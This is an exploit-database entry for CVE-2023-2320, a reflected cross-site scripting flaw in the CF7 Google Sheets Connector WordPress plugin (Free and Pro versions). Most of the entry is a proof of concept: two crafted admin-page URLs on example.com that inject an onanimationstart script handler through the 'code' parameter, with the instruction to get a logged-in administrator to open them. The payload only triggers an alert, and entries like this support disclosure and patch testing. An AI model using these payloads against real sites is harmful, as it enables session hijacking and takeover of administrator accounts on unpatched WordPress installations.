Exploit for CF7 Google Sheets Connector (Free < 5.0.2, Pro < 2.3.7) - Reflected XSS CVE-2023-2320

Name: Exploit for CF7 Google Sheets Connector (Free < 5.0.2, Pro < 2.3.7) - Reflected XSS CVE-2023-2320
Rating: 5 (83 reviews)

2023-06-12 | CVSS 5.8

## https://sploitus.com/exploit?id=WPEX-ID:F17CCBAA-2FCD-4F17-A4DA-73F2BC8A4FE9
Make a logged in admin open the URL below

cf7-google-sheets-connector - https://example.com/wp-admin/admin.php?page=wpcf7-google-sheet-config&code="style=animation-name:rotation onanimationstart=alert(/XSS/)//

cf7-google-sheets-connector-pro (when there is already a google token set) - https://example.com/wp-admin/admin.php?page=wpcf7-google-sheet-config&tab=integration&code="style=animation-name:rotation onanimationstart=alert(/XSS/)//